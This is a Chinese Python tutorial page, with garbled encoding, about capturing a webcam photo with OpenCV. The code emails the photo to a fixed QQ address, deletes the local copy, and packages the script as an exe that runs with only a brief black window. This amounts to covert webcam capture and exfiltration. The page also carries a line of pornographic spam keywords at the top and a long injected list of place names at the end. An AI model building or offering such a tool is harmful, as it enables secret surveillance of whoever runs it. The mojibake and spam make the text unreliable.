最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Python實現(xiàn)調(diào)用攝像頭拍攝照片

 更新時間:2022年06月18日 10:09:59   作者:Andy-wen  
這篇文章主要為大家詳細(xì)介紹了如何利用Python實現(xiàn)調(diào)用攝像頭拍攝照片以及郵箱收集功能,文中的示例代碼講解詳細(xì),感興趣的可以動手嘗試一下

步驟

  • 用opencv打開攝像頭并拍照
  • 保存照片到本地
  • 獲取郵箱(如qq郵箱)的授權(quán)碼,方法可自行百度
  • 將照片以附件的形式發(fā)送到指定郵箱
  • 刪除本地照片

代碼

import os                                       # 刪除圖片文件
import cv2                                      # 調(diào)用攝像頭拍攝照片
from smtplib import SMTP_SSL                    # SSL加密的   傳輸協(xié)議
from email.mime.text import MIMEText            # 構(gòu)建郵件文本
from email.mime.multipart import MIMEMultipart  # 構(gòu)建郵件體
from email.header import Header                 # 發(fā)送內(nèi)容


# 調(diào)用攝像頭拍攝照片
def get_photo():
    cap = cv2.VideoCapture(0)           # 開啟攝像頭
    f, frame = cap.read()               # 將攝像頭中的一幀圖片數(shù)據(jù)保存
    cv2.imwrite('image.jpg', frame)     # 將圖片保存為本地文件
    cap.release()                       # 關(guān)閉攝像頭


# 把圖片文件發(fā)送到我的郵箱
def send_message():
    # 選擇QQ郵箱發(fā)送照片
    host_server = 'smtp.qq.com'         # QQ郵箱smtp服務(wù)器
    pwd = 'xxxx'            # 授權(quán)碼
    from_qq_mail = 'xxx@qq.com'          # 發(fā)件人
    to_qq_mail = 'xxxx@qq.com'            # 收件人
    msg = MIMEMultipart()               # 創(chuàng)建一封帶附件的郵件

    msg['Subject'] = Header('攝像頭照片', 'UTF-8')    # 消息主題
    msg['From'] = from_qq_mail                       # 發(fā)件人
    msg['To'] = Header("YH", 'UTF-8')                # 收件人
    msg.attach(MIMEText("照片", 'html', 'UTF-8'))    # 添加郵件文本信息

    # 加載附件到郵箱中  SSL 方式   加密
    image = MIMEText(open('image.jpg', 'rb').read(), 'base64', 'utf-8')
    image["Content-Type"] = 'image/jpeg'   # 附件格式為圖片的加密數(shù)據(jù)
    msg.attach(image)                      # 附件添加

    # 開始發(fā)送郵件
    smtp = SMTP_SSL(host_server)           # 鏈接服務(wù)器
    smtp .login(from_qq_mail, pwd)         # 登錄郵箱
    smtp.sendmail(from_qq_mail, to_qq_mail, msg.as_string())  # 發(fā)送郵箱
    smtp.quit()     # 退出


if __name__ == '__main__':
    get_photo()                 # 開啟攝像頭獲取照片
    send_message()              # 發(fā)送照片
    os.remove('image.jpg')      # 刪除本地照片

實現(xiàn)效果

將寫好的程序打包成exe文件

為了減小exe的大小可以自行新建一個虛擬環(huán)境再打包

雙擊exe暫時出現(xiàn)黑框

查看郵箱信息

需要下載附件后自行更改文件后綴就可查看所拍到的圖片了

到此這篇關(guān)于Python實現(xiàn)調(diào)用攝像頭拍攝照片的文章就介紹到這了,更多相關(guān)Python攝像頭拍攝照片內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • python list使用示例 list中找連續(xù)的數(shù)字

    python list使用示例 list中找連續(xù)的數(shù)字

    這篇文章主要介紹了list中找連續(xù)的數(shù)字的示例,大家參考使用吧
    2014-01-01
  • python?Gooey庫將命令行程序轉(zhuǎn)換成圖形用戶界面GUI應(yīng)用

    python?Gooey庫將命令行程序轉(zhuǎn)換成圖形用戶界面GUI應(yīng)用

    這篇文章主要為大家介紹了python?Gooey庫將命令行程序轉(zhuǎn)換成圖形用戶界面GUI應(yīng)用詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪
    2024-01-01
  • python Jieba分詞處理詳解【模式,詞庫的添加、刪除,自定義詞庫,失敗處理等】

    python Jieba分詞處理詳解【模式,詞庫的添加、刪除,自定義詞庫,失敗處理等】

    這篇文章主要介紹了python Jieba分詞處理,結(jié)合實例形式詳細(xì)分析了python 使用jieba分詞的模式,詞庫的添加、刪除,自定義詞庫,失敗處理等相關(guān)操作技巧,需要的朋友可以參考下
    2023-07-07
  • Python使用GeoIP2實現(xiàn)地圖定位

    Python使用GeoIP2實現(xiàn)地圖定位

    GeoIP2是一種IP地址定位庫,它允許開發(fā)人員根據(jù)IP地址查找有關(guān)位置和地理位置的信息,這篇文章主要為大家介紹了python如何使用GeoIP2實現(xiàn)地圖定位,感興趣的可以了解下
    2023-10-10
  • Python入門教程4. 元組基本操作

    Python入門教程4. 元組基本操作

    這篇文章主要介紹了Python元組基本操作,簡單介紹了元組的創(chuàng)建、count方法元素統(tǒng)計、index方法元素獲取等相關(guān)操作技巧與注意事項,需要的朋友可以參考下
    2018-10-10
  • 詳解使用Selenium爬取豆瓣電影前100的愛情片相關(guān)信息

    詳解使用Selenium爬取豆瓣電影前100的愛情片相關(guān)信息

    這篇文章主要介紹了詳解使用Selenium爬取豆瓣電影前100的愛情片相關(guān)信息,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2021-03-03
  • Python餅狀圖的繪制實例

    Python餅狀圖的繪制實例

    今天小編就為大家分享一篇關(guān)于Python餅狀圖的繪制實例,小編覺得內(nèi)容挺不錯的,現(xiàn)在分享給大家,具有很好的參考價值,需要的朋友一起跟隨小編來看看吧
    2019-01-01
  • Pandas讀取csv的實現(xiàn)

    Pandas讀取csv的實現(xiàn)

    本文主要介紹了Pandas讀取csv的實現(xiàn),文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2023-01-01
  • python中使用docx模塊處理word文檔

    python中使用docx模塊處理word文檔

    這篇文章主要介紹了python中使用docx模塊處理word文檔的相關(guān)資料,需要的朋友可以參考下
    2023-01-01
  • Python?pyecharts繪制折線圖詳解

    Python?pyecharts繪制折線圖詳解

    pyecharts是一個由百度開源的數(shù)據(jù)可視化,憑借著良好的交互性,精巧的圖表設(shè)計,得到了眾多開發(fā)者的認(rèn)可。本文將利用其繪制折線圖,需要的可以參考一下
    2022-04-04

最新評論

晋城| 长顺县| 汉阴县| 阿巴嘎旗| 汝州市| 沂源县| 蒙阴县| 眉山市| 潜江市| 汉沽区| 海晏县| 砚山县| 沧州市| 德阳市| 扬州市| 平昌县| 双峰县| 奉化市| 连山| 上思县| 佛学| 古交市| 舒兰市| 宁海县| 栖霞市| 河南省| 溧阳市| 宁晋县| 台湾省| 锦屏县| 太白县| 鹿泉市| 遂宁市| 达孜县| 电白县| 永新县| 清镇市| 浦县| 大名县| 庄浪县| 河池市|